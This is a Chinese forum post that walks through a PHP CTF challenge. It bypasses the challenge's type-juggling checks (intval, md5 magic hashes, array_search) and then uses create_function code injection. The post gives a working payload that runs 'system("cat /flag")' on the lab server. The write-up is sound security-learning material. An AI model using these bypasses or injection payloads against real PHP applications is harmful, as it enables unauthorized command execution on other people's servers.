qidao123.com技术社区-IT企服评测·应用市场

标题: CTF-DAY11 [打印本页]

作者: 星球的眼睛    时间: 6 天前
标题: CTF-DAY11
[NSSRound#16 Basic]相识过PHP特性吗

题目:
  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. include("rce.php");
  5. $checker_1 = FALSE;
  6. $checker_2 = FALSE;
  7. $checker_3 = FALSE;
  8. $checker_4 = FALSE;
  9. $num = $_GET['num'];
  10. if (preg_match("/[0-9]/", $num)) {
  11.     die("no!!");
  12. }
  13. if (intval($num)) {
  14.     $checker_1 = TRUE;
  15. }
  16. if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
  17.     $ctype = strrev($_POST['ctype']);
  18.     $is_num = strrev($_POST['is_num']);
  19.     if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
  20.         $checker_2 = TRUE;
  21.     }
  22. }
  23. $_114 = $_GET['114'];
  24. $_514 = $_POST['514'];
  25. if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
  26.     if (!is_numeric($_514) && $_514 > 9999999) {
  27.         $checker_3 = TRUE;
  28.     }
  29. }
  30. $arr4y = $_POST['arr4y'];
  31. if (is_array($arr4y)) {
  32.     for ($i = 0; $i < count($arr4y); $i++) {
  33.         if ($arr4y[$i] === "NSS") {
  34.             die("no!");
  35.         }
  36.         $arr4y[$i] = intval($arr4y[$i]);
  37.     }
  38.     if (array_search("NSS", $arr4y) === 0) {
  39.         $checker_4 = TRUE;
  40.     }
  41. }
  42. if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
  43.     echo $rce;
  44. }
复制代码
intval()函数‌用于将变量转换为整数范例。
strrev() 函数反转字符串。
ctype_alpha()检测字符是否都是字母。
is_numeric()检测变量是否为数字或数字字符串。
分析


  1. http://node4.anna.nssctf.cn:28285/?num[]=aaa&114=9e9
  2. 514=9999999999aaa&ctype=OZDCKNQ&is_num=807016042&arr4y[]=a
复制代码
然后提示去next: Rc3_function.php
  1. <?php
  2. error_reporting(0);
  3. highlight_file( FiLE );
  4. $nss=$_POST['nss'];
  5. $shell = $_POST['shell'];
  6. if(isset($shell)&& isset($nss)){
  7.         $nss_shell = create_function($shell,$nss);
  8. }
复制代码
是create_function注入
shell=&nss=1;}system("cat /flag");/*
参考WP:https://www.cnblogs.com/ForBreeze/p/17972192#_label1

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 qidao123.com技术社区-IT企服评测·应用市场 (https://dis.qidao123.com/) Powered by Discuz! X3.4